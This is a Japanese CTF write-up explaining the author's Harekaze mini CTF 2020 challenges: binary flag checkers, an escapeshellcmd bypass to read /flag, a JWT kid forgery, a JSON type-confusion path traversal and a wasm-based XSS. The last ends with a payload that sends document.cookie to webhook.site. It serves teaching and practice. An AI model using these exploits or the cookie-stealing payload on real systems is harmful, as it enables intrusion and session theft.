12 月 26 日から 12 月 27 日にかけて、チーム Harekaze は Harekaze mini CTF 2020 を開催しました。登録チーム数は 175 チーム、1 問以上を解いたチームは 141 チームと、多くの方にご参加いただきました。ありがとうございました。
TeamHarekaze/harekaze-mini-ctf-2020-challenges-public ですべての問題 (と問題サーバのソースコード) を公開していますので、当日参加されなかった/できなかった方もぜひ挑戦してみてください。復習にもぜひ。
また、問題の感想などについてのアンケートはまだ回答できますので、答えていただけるとうれしいです: https://forms.gle/vt9N4HuA8UzTe3Ve8
さて、この記事では私が出題した以下の 7 問について解説します。
他の作問者の解説は以下の記事を参照ください。
このバイナリに文字列を与えると、フラグであるかどうかチェックしてくれます。
This binary checks if the input is the flag
想定難易度: warmup
添付ファイル: chall
chall
がどのようなファイルか確認してみましょう。
$ file ./chall
./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cf6babcec9c03080b398365682a093ef29f3a83b, for GNU/Linux 3.2.0, not stripped
x86_64 の ELF のようです。実行してみましょう。
$ chmod +x chall
$ ./chall
Input flag: hoge
Nope.
フラグを聞かれました。Ghidra でデコンパイルし、どのような処理で入力した文字列がチェックされているか確認します。
int main(void)
{
long lVar1;
int iVar2;
long in_FS_OFFSET;
char user_input [40];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
printf("Input flag: ");
__isoc99_scanf(&DAT_00402015,user_input);
iVar2 = check(user_input,"fakeflag{this_is_not_the_real_flag}");
if (iVar2 == 0) {
printf("Congratulations! The flag is: %s\n",user_input);
}
else {
puts("Nope.");
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
入力した文字列がフラグであれば check
という関数は 0
を返すようです。第一引数にユーザ入力が、第二引数に fakeflag{this_is_not_the_real_flag}
が渡されていますが、これがフラグなわけがありません。
check
を読んでいきましょう。funcs
というのは関数ポインタの配列でしょう。funcs[i % 3](fake_flag[i], table[i])
と、先程の偽フラグの i
文字目と table
という謎の配列の i
番目の要素を引数として関数を読んでいます。
int check(char *user_input,char *fake_flag)
{
char c;
int i;
i = 0;
while( true ) {
if (0x22 < i) {
return 0;
}
c = (**(code **)(funcs + (long)(i % 3) * 8))
((ulong)(uint)(int)fake_flag[i],(ulong)(uint)(int)(char)table[i],
(ulong)(uint)(int)(char)table[i]);
if (c < user_input[i]) break;
if (user_input[i] < c) {
return -1;
}
i = i + 1;
}
return 1;
}
funcs
には add
、sub
、xor
という関数が順番に入っています。これらの処理を読んでみると、いずれも簡単な処理であることがわかります。
char add(char a,char b)
{
return b + a;
}
char sub(char a,char b)
{
return a - b;
}
char xor(char a,char b)
{
return a ^ b;
}
偽フラグと table
の要素を使ってフラグを復元しましょう。
import struct
us = lambda x: struct.unpack('b', x)[0]
with open('chall', 'rb') as f:
f.seek(0x3060)
flag = ''
for i, c in enumerate(b'fakeflag{this_is_not_the_real_flag}'):
d = f.read(1)
if i % 3 == 0:
flag += chr(c + us(d))
elif i % 3 == 1:
flag += chr(c - us(d))
elif i % 3 == 2:
flag += chr(c ^ ord(d))
print(flag)
$ python solve.py
HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
フラグが得られました。
HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
デコンパイルなりなんなりで簡単に解ける問題として作りました。angr に食わせるとすぐ解けるようです。すご。
キーを当ててください。
Guess the key.
想定難易度: medium
添付ファイル: tiny
tiny
がどのようなファイルか file
コマンドで確認してみましょう。
$ file tiny
tiny: ELF, unknown class 85
謎の ELF ファイルです。readelf
でも読んでみましょう。
$ readelf -h tiny
ELF Header:
Magic: 7f 45 4c 46 55 55 4e 5f 4b 41 57 41 49 49 16 c6
Class: <unknown: 55>
Data: <unknown: 55>
Version: 78 <unknown>
OS/ABI: <unknown: 5f>
ABI Version: 75
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x44434241
Entry point address: 0x4000a2
Start of program headers: 0 (bytes into file)
Start of section headers: 64 (bytes into file)
Flags: 0x0
Size of this header: 64743 (bytes)
Size of program headers: 30051 (bytes)
Number of program headers: 53091
Size of section headers: 61693 (bytes)
Number of section headers: 44646
Section header string table index: 20444
readelf: Warning: The e_shentsize field in the ELF header is larger than the size of an ELF section header
readelf: Error: Reading 2754345678 bytes extends past end of file for section headers
readelf: Error: Too many program headers - 0xcf63 - the file is not that big
ヘッダがぶっ壊れていますが、Machine
の項目から x86_64 の実行ファイルであることと、エントリーポイントが 0x4000a2
であることはわかります。実行してみましょう。
$ ./tiny
Input: hoge
Nope...
フラグを聞かれました。どのような処理がされているか objdump
で見てみましょう。
$ objdump -D -b binary -m i386:x86-64 -M intel tiny
tiny: file format binary
Disassembly of section .data:
0000000000000000 <.data>:
0: 7f 45 jg 0x47
2: 4c rex.WR
3: 46 55 rex.RX push rbp
5: 55 push rbp
...
91: 46 7b 7d rex.RX jnp 0x111
94: 0a b8 01 00 00 00 or bh,BYTE PTR [rax+0x1]
9a: bf 01 00 00 00 mov edi,0x1
9f: 0f 05 syscall
a1: c3 ret
a2: 48 83 ec 10 sub rsp,0x10
a6: 49 89 e0 mov r8,rsp
a9: 48 83 ec 10 sub rsp,0x10
ad: 49 89 e1 mov r9,rsp
b0: 66 0f ef c0 pxor xmm0,xmm0
b4: 0f 29 04 24 movaps XMMWORD PTR [rsp],xmm0
b8: 0f 29 44 24 10 movaps XMMWORD PTR [rsp+0x10],xmm0
bd: be 70 00 40 00 mov esi,0x400070
c2: ba 07 00 00 00 mov edx,0x7
c7: e8 c9 ff ff ff call 0x95
cc: 31 c0 xor eax,eax
ce: 31 ff xor edi,edi
d0: 4c 89 c6 mov rsi,r8
d3: ba 10 00 00 00 mov edx,0x10
d8: 0f 05 syscall
da: 49 8b 00 mov rax,QWORD PTR [r8]
dd: 49 31 01 xor QWORD PTR [r9],rax
e0: 49 8b 40 08 mov rax,QWORD PTR [r8+0x8]
e4: 49 31 41 08 xor QWORD PTR [r9+0x8],rax
e8: 49 c1 09 29 ror QWORD PTR [r9],0x29
ec: 49 c1 49 08 13 ror QWORD PTR [r9+0x8],0x13
f1: 48 8b 04 25 00 00 40 mov rax,QWORD PTR ds:0x400000
f8: 00
f9: 49 31 01 xor QWORD PTR [r9],rax
fc: 48 8b 04 25 08 00 40 mov rax,QWORD PTR ds:0x400008
103: 00
104: 49 31 41 08 xor QWORD PTR [r9+0x8],rax
108: 48 8b 04 25 28 00 40 mov rax,QWORD PTR ds:0x400028
10f: 00
110: 49 33 01 xor rax,QWORD PTR [r9]
113: 48 8b 14 25 30 00 40 mov rdx,QWORD PTR ds:0x400030
11a: 00
11b: 49 33 51 08 xor rdx,QWORD PTR [r9+0x8]
11f: 48 21 c0 and rax,rax
122: 75 32 jne 0x156
124: 48 39 d0 cmp rax,rdx
127: 75 2d jne 0x156
129: be 78 00 40 00 mov esi,0x400078
12e: ba 1b 00 00 00 mov edx,0x1b
133: e8 5d ff ff ff call 0x95
138: 4c 89 c6 mov rsi,r8
13b: ba 10 00 00 00 mov edx,0x10
140: e8 50 ff ff ff call 0x95
145: be 93 00 40 00 mov esi,0x400093
14a: ba 02 00 00 00 mov edx,0x2
14f: e8 41 ff ff ff call 0x95
154: eb 0f jmp 0x165
156: be 58 00 40 00 mov esi,0x400058
15b: ba 08 00 00 00 mov edx,0x8
160: e8 30 ff ff ff call 0x95
165: b8 3c 00 00 00 mov eax,0x3c
16a: 31 ff xor edi,edi
16c: 0f 05 syscall
先程 readelf
で確認したように、a2
が sub rsp, 0x10
とエントリーポイントっぽい命令で始まっています。どのような処理がされているか読んでみましょう。
まず a2
から b8
で r8
と r9
というレジスタにそれぞれ別の 16 バイトの配列のアドレスを格納し、それをゼロクリアしています。
a2: 48 83 ec 10 sub rsp,0x10
a6: 49 89 e0 mov r8,rsp
a9: 48 83 ec 10 sub rsp,0x10
ad: 49 89 e1 mov r9,rsp
b0: 66 0f ef c0 pxor xmm0,xmm0
b4: 0f 29 04 24 movaps XMMWORD PTR [rsp],xmm0
b8: 0f 29 44 24 10 movaps XMMWORD PTR [rsp+0x10],xmm0
cc
から d8
では xor eax, eax
してから syscall
を呼んでいますから、read
でユーザ入力を読み取っていることがわかります。格納先は mov rsi, r8
から r8
レジスタの配列であることがわかります。
cc: 31 c0 xor eax,eax ; sys_read
ce: 31 ff xor edi,edi ; fd
d0: 4c 89 c6 mov rsi,r8 ; buf
d3: ba 10 00 00 00 mov edx,0x10 ; count
d8: 0f 05 syscall
da
から e4
では、r8
の配列に格納されたユーザ入力を r9
の配列に丸々コピーしています。
da: 49 8b 00 mov rax,QWORD PTR [r8]
dd: 49 31 01 xor QWORD PTR [r9],rax
e0: 49 8b 40 08 mov rax,QWORD PTR [r8+0x8]
e4: 49 31 41 08 xor QWORD PTR [r9+0x8],rax
e8
から 11f
では、まず e8
から 104
までで XOR や ROR によってユーザ入力を加工し、108
以降で 0x400028
と 0x400030
に格納されているバイト列と XOR で比較していることがわかります。
e8: 49 c1 09 29 ror QWORD PTR [r9],0x29
ec: 49 c1 49 08 13 ror QWORD PTR [r9+0x8],0x13
f1: 48 8b 04 25 00 00 40 mov rax,QWORD PTR ds:0x400000
f8: 00
f9: 49 31 01 xor QWORD PTR [r9],rax
fc: 48 8b 04 25 08 00 40 mov rax,QWORD PTR ds:0x400008
103: 00
104: 49 31 41 08 xor QWORD PTR [r9+0x8],rax
108: 48 8b 04 25 28 00 40 mov rax,QWORD PTR ds:0x400028
10f: 00
110: 49 33 01 xor rax,QWORD PTR [r9]
113: 48 8b 14 25 30 00 40 mov rdx,QWORD PTR ds:0x400030
11a: 00
11b: 49 33 51 08 xor rdx,QWORD PTR [r9+0x8]
11f: 48 21 c0 and rax,rax
e8
から 11f
の逆の処理をする Python スクリプトを書きましょう。
import binascii
import struct
def rol(x, shift):
return ((x << shift) | (x >> (64 - shift))) & 0xffffffffffffffff
def unhex(x):
return binascii.unhexlify(hex(x)[2:])[::-1]
with open('tiny', 'rb') as f:
elf = f.read()
k1, k2 = struct.unpack('QQ', elf[:0x10])
k3, k4 = struct.unpack('QQ', elf[0x28:0x38])
flag = ''
flag += unhex(rol(k1 ^ k3, 0x29)).decode()
flag += unhex(rol(k2 ^ k4, 0x13)).decode()
print(flag)
$ python solve.py
fl4g_1s_t1ny_t00
バイナリを実行して入力してみます。
$ ./tiny
Input: fl4g_1s_t1ny_t00
Correct! Flag: HarekazeCTF{fl4g_1s_t1ny_t00}
フラグが得られました。
HarekazeCTF{fl4g_1s_t1ny_t00}
この ELF は 76Byte の Hello world - 兼雑記や StalkR’s Blog: Tiny ELF 32/64 with nasm などの記事を参考に手書きで作りました。逆アセンブルさえできればあとは簡単だと思います。
そうねだいたいね…
(URL)
It’s about …
(URL)
想定難易度: warmup
添付ファイル: what-time-is-it-now.zip
添付ファイルを展開するとソースコードが出てきます。まず Dockerfile
から見ていきましょう。
FROM php:7.4-apache
ADD public/index.php /var/www/html/
RUN chmod -R 755 /var/www
RUN chown root:root /var/www
RUN echo "HarekazeCTF{<censored>}" > "/flag"
RUN chmod -R 755 /flag*
echo "HarekazeCTF{<censored>}" > "/flag"
からフラグは /flag
にあることがわかります。
index.php
を見てみましょう。
<?php
if (isset($_GET['source'])) {
highlight_file(__FILE__);
exit;
}
$format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S';
$result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1");
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>What time is it now?</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
</head>
<body>
<header>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
<div class="container">
<a class="navbar-brand" href="index.php">What time is it now?</a>
<div class="navbar-collapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item"><a class="nav-link" href="?source">Source Code</a></li>
</ul>
</div>
</div>
</nav>
</header>
<main>
<section class="jumbotron text-center">
<div class="container">
<h1 class="jumbotron-heading"><span class="text-muted">It's</span> <?= isset($result) ? $result : '?' ?><span class="text-muted">.</span></h1>
<p>
<a href="?format=%H:%M:%S" class="btn btn-outline-secondary">What time is it now?</a>
<a href="?format=%Y-%m-%d" class="btn btn-outline-secondary">What is the date today?</a>
<a href="?format=%s" class="btn btn-outline-secondary">What time is it now in UNIX time?</a>
</p>
</div>
</section>
</main>
<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
</body>
</html>
shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1")
から、date
というコマンドを使って好きなフォーマットで現在時刻を表示できるようにしていることがわかります。$format
は $_REQUEST['format']
とユーザ入力から受け取っています。
OS コマンドインジェクションができそうな気もしますが、$format
は escapeshellcmd
という関数に通されているため難しそうです。例えば、'; id; #
を与えると \'\; id\; \#
のようにエスケープされてしまうために OS コマンドインジェクションが成立しません。
escapeshellcmd
によるエスケープを回避できるようなパターンはないでしょうか。この関数のドキュメントを参照してみると、次のような記述が見つかります。
…’ および “ は、対になっていない場合にのみエスケープされます。…
つまり、'
は対になっていればエスケープされません。試してみましょう。
$ psysh
...
>>> echo escapeshellcmd("' abc")
\' abc⏎
>>> echo escapeshellcmd("' 'abc")
' 'abc⏎
確かに、対になっている '
はエスケープされていません。これを使えば、例えば $format
に ' --hoge '
というような文字列を仕込むと実行される OS コマンドは date '+' --hoge '' 2>&1
のようになり、--hoge
というオプションを追加できます。ただ、;
や #
などの記号はエスケープされてしまうので、date
以外のコマンドを実行させられるようにはできません。
date
コマンドで使えるオプションの中に、ファイルを読み込めるようなものはないでしょうか。man
で見てみましょう。
$ man date
...
-f, --file=DATEFILE
like --date; once for each line of DATEFILE
...
ありました。' -f'/flag
ならどうでしょうか。?format='%20-f'/flag
にアクセスしてみます。
...
<div class="container">
<h1 class="jumbotron-heading"><span class="text-muted">It's</span> date: invalid date 'HarekazeCTF{1t\'s_7pm_1n_t0ky0}'
<span class="text-muted">.</span></h1>
<p>
<a href="?format=%H:%M:%S" class="btn btn-outline-secondary">What time is it now?</a>
<a href="?format=%Y-%m-%d" class="btn btn-outline-secondary">What is the date today?</a>
<a href="?format=%s" class="btn btn-outline-secondary">What time is it now in UNIX time?</a>
</p>
</div>
...
フラグが表示されました。
HarekazeCTF{1t's_7pm_1n_t0ky0}
PHP のドキュメントやら man
やら、まずドキュメントを調べるといいことがあるかもという問題です。
はじめはオプションを "
で囲んで、エスケープはせず '
や "
を削除するだけというもっと単純な OS コマンドインジェクション問でした。が、問題チェックの際にやはり典型すぎるという感想をいただいてこのように修正しました。
フラグは「東京は夜の七時」です。提出ログを眺めていると、HarekazeCTF{1t\'s_7pm_1n_t0ky0}
のように \
を付けたまま提出されている方が多く見られて (この問題を解いた 63 チームのうち、40 チームが正解フラグの提出前にそのような提出をしていました…) 申し訳ない気持ちになりました。'
を含まないフラグにすべきでしたね。
独自に作ったセッション機能は脆弱性を作り込みがちだということを学んだので、今回はJWT (JSON Web Token)を採用しました。
(URL)
I learned implementing a custom session function is prone to be insecure, so this time I adopted JWT (JSON Web Token).
(URL)
想定難易度: easy
添付ファイル: jwt-is-secure.zip
与えられた URL にアクセスすると You need to log in to access this page!
と表示されます。ログインフォームでは admin
以外の好きなユーザ名を入力してログインできますが、role
が user
であるために admin page
を閲覧することができないと表示されます。
セッションがどのように保存されているか Cookie を見てみると、jwtsession
というキーで以下のような JWT が含まれていることがわかります。
eyJ0eXAiOiJKV1QiLCJraWQiOiJhZWQzNDkyYTI4ODY3OWM3IiwiYWxnIjoiSFMyNTYifQ.eyJ1c2VybmFtZSI6ImhvZ2UiLCJyb2xlIjoidXNlciJ9.0YHPci3ZFGbuWtt2z2Q7OF6TruBADp7i8XfysKBePr8
jwt.io に投げてやるとヘッダに kid
というパラメータが含まれていることがわかります。どのように使われているかソースコードを見てみましょう。
session.php
に kid
パラメータを参照している処理が見つかります。$kid = $tmp->getHeader('kid')
でまず kid
パラメータを取り出して、$this->key = $this->getSecretKey($kid)
で対応する秘密鍵を取得しています。
<?php
include 'jwt.php';
class Session {
private $cookie_name;
private $jwt;
private $key;
private $base_dir;
public function __construct($cookie_name='jwtsession', $dir='./keys') {
$this->cookie_name = $cookie_name;
$this->base_dir = $dir;
if (array_key_exists($cookie_name, $_COOKIE)) {
try {
$tmp = new JWT($_COOKIE[$cookie_name]);
$kid = $tmp->getHeader('kid');
$this->key = $this->getSecretKey($kid);
if (!$tmp->verify($this->key)) {
throw new Exception('Signature verification failed');
}
$this->jwt = $tmp;
} catch (Exception $e) {
die('Error occurred: ' . $e->getMessage());
}
}
if (!isset($this->jwt)) {
$this->jwt = new JWT;
$kid = bin2hex(random_bytes(8));
$this->key = bin2hex(random_bytes(64));
$this->setSecretKey($kid, $this->key);
$this->jwt->setHeader('kid', $kid);
$this->save();
}
}
// …
}
getSecretKey
がどのような処理をしているか見てみましょう。
base_dir
(./keys
) 下に秘密鍵がファイルとして保存されており、kid
によって保存先のパスが決まっているようです。./keys
はドキュメントルートの下にあるので秘密鍵が保存されているファイルにアクセスすればよいのでは、と思ってしまいますが ./keys
には deny from all
という内容の .htaccess
が配置されておりアクセスできません。
..
を使った Path Traversal や //
や :
を使ったストリームラッパーによるバイパスは使えそうにありません。
private function getSecretKey($kid) {
$dir = $this->base_dir . '/' . $kid[0] . '/' . $kid[1];
$path = $dir . '/' . $kid;
// no path traversal, no stream wrapper
if (preg_match('/\.\.|\/\/|:/', $kid)) {
throw new Exception('Hacking attempt detected');
}
if (!file_exists($path) || !is_file($path)) {
throw new Exception('Secret key not found');
}
return file_get_contents($path);
}
..
が使えないので ./keys
より上のディレクトリにアクセスすることはできません。./keys
下に内容がすでにわかっている都合のよいファイルはないでしょうか。… .htaccess
がありますね。
適当なユーザでログインし、得られた JWT についてヘッダの kid
パラメータを ./.htaccess
に、データの role
を admin
に変えます。.htaccess
の内容の deny from all
を秘密鍵として署名したものを Cookie にセットすると、以下のように admin になることができました。
admin page
にアクセスするとフラグが得られました。
HarekazeCTF{l1st3n_1_just_g1v3_y0u_my_fl4g_4t4sh1_n0_w4v3_w0_t0b4sh1t3_m1ruk4r4}
ソースコードや与えられたファイルをよく読みましょうという問題にするつもりで作りました。
フラグは問題の内容とは全く関係がありませんが、ゲンキトリッパーです。やはり CTF の作問で一番難しいのはフラグと問題名を考えるパートですね。
Avatar Uploaderという名前の問題を覚えていますか? ご存知のように、あのWebアプリには致命的な脆弱性がありました。今回は安全のためにアップロード機能を削除しました。
(URL)
Do you remember the challenges named Avatar Uploader? As you know, that Web app has critical vulnerabilities. This time I removed upload functions for safety.
(URL)
想定難易度: medium
添付ファイル: avatar-viewer.zip
与えられた URL にアクセスすると、以下のような画面が表示されました。ログインが求められていますが、ユーザ登録は閉じられていますし認証情報は与えられていません。仕方がないのでソースコードを読みましょう。
まずはフラグの場所を確認します。adminUsername
に格納されているユーザ名でログインしている状態で /admin
にアクセスすればよさそうです。
const flag = process.env.FLAG || 'flag{DUMMY}';
const users = JSON.parse(fs.readFileSync('./users.json'));
const adminUsername = Object.keys(users).filter(k => k.startsWith('admin'))[0];
// ...
app.get('/admin', async (request, reply) => {
const username = request.session.get('username');
if (!username) {
request.flash('error', 'please log in to view this page');
return reply.redirect('/login');
}
if (username != adminUsername) {
request.flash('error', 'only admin can view this page');
return reply.redirect('/login');
}
return reply.view('index.ejs', {
page: 'admin',
username: request.session.get('username'),
flash: reply.flash(),
flag
});
});
ユーザの認証情報は users.json
から読み出されています。添付ファイルに含まれる users.json
では adminUsername
とそのパスワードは隠されています。
{
"guest": "guest",
"admin-(censored)": "<censored>"
}
なんとかして adminUsername
とそのパスワードを知ることができないでしょうか。ソースコードを読むと、今ログインしているユーザのアイコンが返ってくる /myavatar.png
に気になる処理が見つかります。
アイコンは /usr/src/app/images/(ユーザ名)
から読み出されていますが、ユーザ名に ../users.json
を入れることができれば users.json
を読んで adminUsername
とそのパスワードを特定することができそうです。
username
は includes
メソッドによって .
/
\
が含まれていないか確認されています。が、もし username
が ['../users.json']
のような配列であればどうでしょうか。String.prototype.includes
でなく Array.prototype.includes
が呼び出され、この配列には '.'
'/'
'\'
という要素は存在しないためにチェックを回避できるはずです。${__dirname}/images/${username}
での結合時にも username
は自動的に文字列に変換されますから、問題はないはずです。
app.get('/myavatar.png', async (request, reply) => {
const username = request.session.get('username');
if (!username) {
request.flash('error', 'please log in to view this page');
return reply.redirect('/login');
}
if (username.includes('.') || username.includes('/') || username.includes('\\')) {
request.flash('error', 'no hacking!');
return reply.redirect('/login');
}
const imagePath = path.normalize(`${__dirname}/images/${username}`);
if (!imagePath.startsWith(__dirname)) {
request.flash('error', 'no hacking!');
return reply.redirect('/login');
}
reply.type('image/png');
if (fs.existsSync(imagePath)) {
return fs.readFileSync(imagePath);
}
return fs.readFileSync('images/default');
});
/myavatar.png
の username
は request.session.get('username')
とセッションから来ています。どうにかして配列にできないでしょうか。
セッションの username
は /login
で設定されています。
JavaScript では、オブジェクトの存在しないプロパティにアクセスすると undefined
が返ってきます。username
に ['../users.json']
を入れれば、users
に ../users.json
というプロパティは存在しないので users[username]
は undefined
を返すはずです。
また、undefined == null
ですから、password
に null
を入れることができればログインできるはずです。でも、どうすればそんなことができるのでしょうか。
app.post('/login', async (request, reply) => {
if (!request.body) {
request.flash('error', 'HTTP request body is empty');
return reply.redirect('/login');
}
if (!('username' in request.body && 'password' in request.body)) {
request.flash('error', 'username or password is not provided');
return reply.redirect('/login');
}
const { username, password } = request.body;
if (username.length > 16) {
request.flash('error', 'username is too long');
return reply.redirect('/login');
}
if (users[username] != password) {
request.flash('error', 'username or password is incorrect');
return reply.redirect('/login');
}
request.session.set('username', username);
reply.redirect('/profile');
});
Fastify は HTTP リクエストの Content-Type
ヘッダによって HTTP リクエストボディをパースする方法を変えます。この Web アプリケーションでは application/x-www-form-urlencoded
に対応するために fastify-formbody
を使っていますが、Fastify はデフォルトで application/json
に対応しています。これを利用すれば、JSON を使って request.body
の username
や password
に配列や null
を入れることができそうです。やってみましょう。
import json
import re
import requests
URL = 'http://(省略)/avatar-viewer/'
sess = requests.Session()
sess.post(URL + 'login', headers={
'Content-Type': 'application/json'
}, data=json.dumps({
'username': ['../users.json'],
'password': None
}))
r = sess.get(URL + 'myavatar.png')
for username, password in r.json().items():
if username.startswith('admin'):
break
print(r.text)
$ python a.py
{
"guest": "guest",
"admin-b01b9d62015f8b68": "b56c497ff08f76536631f2cc1100521ffabfece3d2da67c71176d69dcba41a25"
}
adminUsername
とそのパスワードが得られました。あとはこの認証情報を使ってログインするだけ…かと思いきや、/login
の処理をよく見ると以下のように username
が 17 文字以上であれば弾かれてしまうことがわかります。
const { username, password } = request.body;
if (username.length > 16) {
request.flash('error', 'username is too long');
return reply.redirect('/login');
}
これも username
に ['admin-b01b9d62015f8b68']
のような配列を入れれば username.length
は 1
になるはずですから、チェックを回避できるはずです。やってみましょう。
import json
import re
import requests
URL = 'http://(省略)/avatar-viewer/'
r = requests.post(URL + 'login', headers={
'Content-Type': 'application/json'
}, data=json.dumps({
'username': ['admin-b01b9d62015f8b68'],
'password': 'b56c497ff08f76536631f2cc1100521ffabfece3d2da67c71176d69dcba41a25'
}))
print(r.cookies['avatar-session'])
これを実行して出力されたセッション ID を Cookie にセットして URL にアクセスすると、以下のように admin-b01b9d62015f8b68
としてログインできたことが確認できます。
/admin
にアクセスするとフラグが得られました。
HarekazeCTF{maji_natural_super_nyan}
/admin
から逆算してなにができると嬉しいか、どうすればよいかを考えて調べてほしいなあという気持ちで作った問題でした。
昨年の Harekaze CTF では Avatar Uploader 1/2 という問題を出題しました。はじめはそのリベンジ問として作り始めたのですが、いつの間にか全然違う問題になっていました。フラグも問題の内容と関係はありません。
今はWebAssemblyの時代です。知らんけど。WebAssemblyを学ぶために、Brainf*ckのインタプリタをCで書いてwasmにコンパイルしてみました。
(URL)
Now it is the era of WebAssembly. To learn WebAssembly, I wrote a Brainf*ck interpreter in C and compiled to wasm.
(URL)
想定難易度: medium-hard
添付ファイル: wasm-bf.zip
WebAssembly を使って Brainf*ck のコードを実行してくれる Web アプリケーションです。main.js
を読むと、location.hash
に Brainf*ck コードが入っていれば自動で実行してくれることがわかります。
const program = decodeURIComponent(location.hash.slice(1));
if (program.length > 1) {
edit.value = program;
execute(program);
}
また、Brainf*ck コードの実行結果は innerHTML
を使って出力されており、XSS ができそうな雰囲気があります。
let buffer = '';
output.innerHTML = '';
const importObject = {
env: {
_get_char: getchar(program),
_print_char(arg) {
buffer += String.fromCharCode(arg);
},
_flush() {
output.innerHTML += buffer;
buffer = '';
}
}
};
ということで、<s>test</s>
を出力するような Brainf*ck コードを実行してみましたが…出力結果を見ると <
と >
がそれぞれ <
と >
にエスケープされていることがわかります。どういうことでしょうか。
Brainf*ck インタプリタである main.wasm
のソースコードの main.c
を読むとその理由がわかります。文字の出力処理である print_char
関数では、出力する文字が <
か >
であればエスケープしています。
void print_char(char c) {
if (buffer_pointer + 4 >= buffer + BUFFER_SIZE) {
flush();
}
// Prevent XSS!
if (c == '<' || c == '>') {
buffer_pointer[0] = '&';
buffer_pointer[1] = c == '<' ? 'l' : 'g';
buffer_pointer[2] = 't';
buffer_pointer[3] = ';';
buffer_pointer += 4;
} else {
*buffer_pointer = c;
buffer_pointer++;
}
}
これをなんとかできないかソースコードをよく見てみると、与えられた Brainf*ck コードを実行する関数である execute
に脆弱性が見つかります。
>
と <
という命令の処理では、ポインタが memory
の範囲外を指しているかどうかはチェックされていません。これを使ってポインタが memory
外の場所を指すようにした上で、+
や -
でその内容を書き換えることができます。
case '>': {
pointer++;
break;
}
case '<': {
pointer--;
break;
}
+
や -
で本来書き込まれる先は memory
です。
case '+': {
memory[pointer]++;
break;
}
case '-': {
memory[pointer]--;
break;
}
この前後に使えそうなものはないかその宣言を見てみると、以下のように buffer
が近くに配置されていることがわかります。buffer
に書き込まれた内容は後々 JavaScript 側で innerHTML
に出力されますから、これを使って XSS ができないでしょうか。
unsigned char buffer[BUFFER_SIZE] = {0};
unsigned char *buffer_pointer = buffer;
unsigned char memory[MEMORY_SIZE] = {0};
まず Brainfuck text generator という大変便利なツールを使って =s=test=s=
を出力するような Brainf*ck コードを生成します。
----[---->+<]>--.---[->++<]>-.+[-->+<]>+++.---[->++<]>.+++[->+++<]>.[--->+<]>----.+.[-->+<]>+++.---[->++<]>-.+[-->+<]>+++.
Google Chrome の DevTools を使って main.wasm
を逆アセンブルし、以下のように initialize
関数の処理を main.c
と比較すると memory
と buffer
の位置関係がわかります。これを使って =
を <
と >
に上書きしてやりましょう。
WASM_EXPORT
void initialize() {
buffer_pointer = buffer;
for (int i = 0; i < BUFFER_SIZE; i++) {
buffer[i] = '\0';
}
for (int i = 0; i < MEMORY_SIZE; i++) {
memory[i] = '\0';
}
for (int i = 0; i < PROGRAM_MAX_SIZE; i++) {
program[i] = '\0';
}
}
以下のような Brainf*ck コードを実行すると、斜線の入った test
が表示されました。
----[---->+<]>--.---[->++<]>-.+[-->+<]>+++.---[->++<]>.+++[->+++<]>.[--->+<]>----.+.[-->+<]>+++.---[->++<]>-.+[-->+<]>+++.
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
->>+>>>>>->>+
あとは Cookie を盗み出すような JavaScript コードを実行できるペイロードを作ればよさそうです。以下の JavaScript コードを実行して出力されたペイロードを XSS bot に投げるとフラグが得られました。
// Aimg src=x onerror=eval(decodeURIComponent(location.search.slice(1)))A
const program = '----[---->+<]>++.[--->+<]>--.++++.------.-[--->+<]>--.---[->++++<]>-.-.++++[->+++<]>+.[--->++<]>-----.-[->++<]>.[---->+<]>++.+++++[->+++<]>.-.---------.+++++++++++++..---.+++.[-->+<]>++++.>--[----->+<]>-.[--->+<]>-.[->+++<]>-.+++++++++++.[--->+<]>++++.+[--->+<]>+.+.--.++++++++++++.-----------.+.>-[--->+<]>.---.---------.------.+[--->+<]>+++.--.+++.-.-.---------.+++++++++.++++++.+[--->+<]>+.----[->+++<]>.+++.------------.--.--[--->+<]>-.-----------.++++++.-.[----->++<]>++.[--->++<]>-.++++[->+++<]>.----.--[--->+<]>---.++++[->+++<]>+.+++++.---[->+++<]>-.[--->++<]>-.-------.---.------.++.--[->+++<]>-.+++++++++.--------...+[-->+++<]>++.' +
'<'.repeat(74) + '-'.repeat('A'.charCodeAt(0) - '>'.charCodeAt(0)) +
'<'.repeat(69) + '-'.repeat('A'.charCodeAt(0) - '<'.charCodeAt(0))
console.log('?(new Image).src=["//webhook.site/…?",document.cookie]#' + encodeURIComponent(program));
